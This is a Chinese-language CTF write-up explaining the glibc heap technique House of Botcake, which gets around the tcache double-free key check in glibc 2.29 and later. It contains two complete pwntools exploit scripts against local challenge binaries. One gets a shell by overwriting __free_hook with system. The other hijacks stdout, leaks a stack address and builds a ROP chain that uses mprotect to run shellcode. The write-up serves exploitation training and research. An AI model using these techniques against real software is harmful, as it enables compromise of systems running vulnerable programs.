在 2.29/2.27 高版本之后,glibc 为了防止攻击者简单的 Tcache Double Free,引入了对 Tcache Key 的检查。
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key
, 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。
从攻击者的角度来说,我们如果想继续利用 Tcache Double Free 的话,一般可以采取以下的方法:
House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制,同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生,第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能。
此外 House of botcake 在条件合适的情况下,极其容易完成多次任意分配堆块,是相当好用的手法。
// https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
malloc(0x10); // 防止合并
for(int i=0; i<7; i++){
free(x[i]);
}
free(victim);
free(prev);
malloc(0x100);
/*VULNERABILITY*/
free(victim);// victim is already freed
/*VULNERABILITY*/
最终的效果就是完成了堆块重叠,一个大的 Unsortedbin 吞着一个小的 Tcachebin。通过切割 Unsortedbin 我们分配一个比 victim 稍大的堆块 attacker 就可以覆写到 victim 的 next 指针,完成 Tcache Poisoning。
由于我们前期 Free 掉了多个填充堆块,此时我们同样大小的 Tcachebin 下的 count 是充足的。因此完成一次 Tcache Poisoning 后,通过 Free 掉 victim 和 attacker,再申请回来 attacker 可以再次覆写到 victim 的 next 指针,完成多次 Tcache Poinsoning。
下面从例题出发,调试分析俩种不同情形下的利用思路。
Ubuntu GLIBC 2.31-0ubuntu9.9 下的简单难度堆题。
unsigned __int64
却采用 int
接收,通过传入 -1
我们可以绕过 notes 数量的限制。unsigned __int64 get_int()
{
char _0[24]; // [rsp+0h] [rbp+0h] BYREF
unsigned __int64 vars18; // [rsp+18h] [rbp+18h]
vars18 = __readfsqword(0x28u);
read(0, _0, 0x10uLL);
return strtoul(_0, 0LL, 0);
}
Add Note
,Delete Note
,View Note
三个功能。0x100
用户大小以内的堆块。View Note
Leak 出 libc#!/usr/bin/env python2
# -*- coding: utf-8 -*
from pwn import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
elf = ELF('./notes')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62'])
p = process('./notes')
def menu(choice):
sla('> ',str(choice))
def add(size=0x80,data='u'):
menu(1)
sla('size: ',str(size))
sea('content: ',str(data))
def dele(id):
menu(2)
sla('note id: ',str(id))
def show(id):
menu(3)
sla('note id: ',str(id))
'''
[*] 0. Easy Integer Overflow
'''
sla('How many notes you plan to use?','-1')
'''
[*] 1. Easy Heap Layout
'''
for i in range(10):
add(0x80)
'''
[*] 2. Fill the Tcache
'''
for i in range(7):
dele(7-1-i)
'''
[*] 3. Free into Unsortedbin Leak libc
'''
dele(8) # Victim
show(8)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1ecbe0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = ELF('./libc-2.31.so',checksec=False)
libc = elf.libc
libc.address = libc_base
system_addr = libc.sym.system
bin_sh = libc.search('/bin/sh').next()
'''
[*] 4. Double Free into Tcache
'''
dele(7) # Prev
add() # 10
dele(8) # Victim
'''
[*] 5. Split the Unsortedbin --> Overwrite `next` Pointer --> Tcache Poisoning
'''
add(0x100,'\0'*0x80+p64(0)+p64(0x91)+p64(libc.sym.__free_hook)+p64(0)) # 11
'''
[*] 6. Hijack __free_hook --> Getshell
'''
add(0x80,'/bin/sh\0') # 12
add(0x80,p64(system_addr)) # 13
dele(12)
p.interactive()
通过本题,我们了解到了 House of botcake 的基本原理,以及单次任意分配堆块的简单 getshell 情形,下题我们将涉及到多次分配堆块、Size存在限制的较复杂 seccomp 沙箱情形。
Ubuntu GLIBC 2.31-0ubuntu9.8 下的中等难度堆题,开了 seccomp 沙箱,ban 掉了常用的 __malloc_hook
和 __free_hook
。
__malloc_hook
和 __free_hook
是否被劫持,是的话调用 _exit
终止程序Add
,Del
,Show
三项功能,除此外还有输入为 666 时仅一次可以进入的后门函数Add
函数限制了用户申请的大小最大为 0x90,此处使后续 House of botcake 无法覆盖到 victim 的 next 指针Del
函数置零了被 Free 掉的堆块Show
函数仅一次可以调用 puts 输出堆块内容Add
函数的 size 限制,House of botcake 无法覆盖到 victim 的 next 指针,稍微调整堆布局,采用修改 victim 的堆块大小完成堆块重叠的手法,转移到重叠的大 chunk 里面完成利用的间接思路Show
机会 Leak 出 libcShow
函数 Leak libcAdd
函数结束时的 leave;ret
处下断点而计算出来。Add
函数返回时就能进入我们的 ROP 流,完成控制流劫持Rop --> mprotect --> shellcode
的转化思路,以防题目沙箱比较复杂的情形。最后可以看到也是顺利地读出了我本地的 flag。#!/usr/bin/env python2
# -*- coding: utf-8 -*
from pwn import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
elf = ELF('./pwn')
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp'])
p = process('./pwn')
def menu(c):
sla('Choice: ',str(c))
def add(size=0x80,data='u'):
menu(1)
sla('Please input size: ',str(size))
sea('Please input content: ',str(data))
def dele(id):
menu(2)
sla('Please input idx: ',str(id))
def show(id):
menu(3)
sla('Please input idx: ',str(id))
def bkdoor(id):
menu(666)
sla('Please input idx: ',str(id))
for i in range(10):
add()
for i in range(7):
dele(10-1-i)
'''
[*] House of botcake
[*] Double Free --> Modify victim's size --> Chunk Overlapping
'''
bkdoor(1)
show(1)
libc_leak = uu64(ru('\x7f',drop=False)[-6:])
libc_base = libc_leak - 0x1ecbe0
lg('libc_leak',libc_leak)
lg('libc_base',libc_base)
libc = ELF('./libc.so.6')
libc.address = libc_base
stdout = libc_base + 0x1ed6a0
stack_addr = libc.sym.environ
ret = libc_base + 0x0000000000022679
rdi = libc_base +0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx_r12 = libc_base + 0x0000000000119211
jmp_rsi = libc_base + 0x000000000010d5dd
dele(0)
add() # 0
add(0x90,'\0'*0x88+p32(0x90*8+1)) # 3
add(0x70) # 4
dele(1)
'''
[*] Tcache Poisoning --> Hijack Stdout --> leak environ addr
'''
dele(2)
add(0x50) # 1
add(0x50,'\0'*0x28+p64(0x91)+p64(stdout)+p64(0)) # 2
add() # 5
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(stack_addr)+p64(stack_addr+8)*2) # 6
stack_addr = uu64(ru('\x7f',drop=False)[-6:])
lg('stack_addr',stack_addr)
'''
[*] Tcache Poinsoning --> Hijack Stack --> ROP --> Shellcode
'''
dele(5)
dele(2)
add(0x50,'\0'*0x28+p64(0x91)+p64(stack_addr-0x120)+p64(0)) # 2
add() # 5
'''
[~] Gets to input more data (Optional)
'''
payload = flat([
rdi,stack_addr-0x108,libc.sym.gets
])
add(0x80,payload) # 7
'''
[*] Enable Shellcode
'''
mmp = flat([
rdi,((stack_addr)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,stack_addr,rdx_r12,0x100,0,libc.sym.read,jmp_rsi
])
sleep(0.5)
sl(mmp)
sleep(0.5)
sl(asm(shellcraft.cat('/flag')))
p.interactive()
通过本题,我们了解到了当题目限制较多时, House of botcake 的稍复杂的利用方法,对 House of botcake 有了更深刻的认知。
以上就是本文的所有主要内容。
Glibc 一直在更新,防护手段一直在升级,无论是作为一个 CTF 参赛选手还是二进制漏洞研究者,掌握的利用手法多点并不是什么坏事。House of Botcake 给我们高版本 libc 下的 Tcache Double Free 提供了非常不错的思路。诚然,很多时候解决问题的途径并不止一条,我们往往可以通过多种手段来解决同一问题,但下次再遇到 Tcache Double Free 的时候,不妨考虑一下尝试 House of Botcake,满足条件的话,多次任意分配 Chunk 能够帮助节省很多时间,助力快速解出赛题。
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!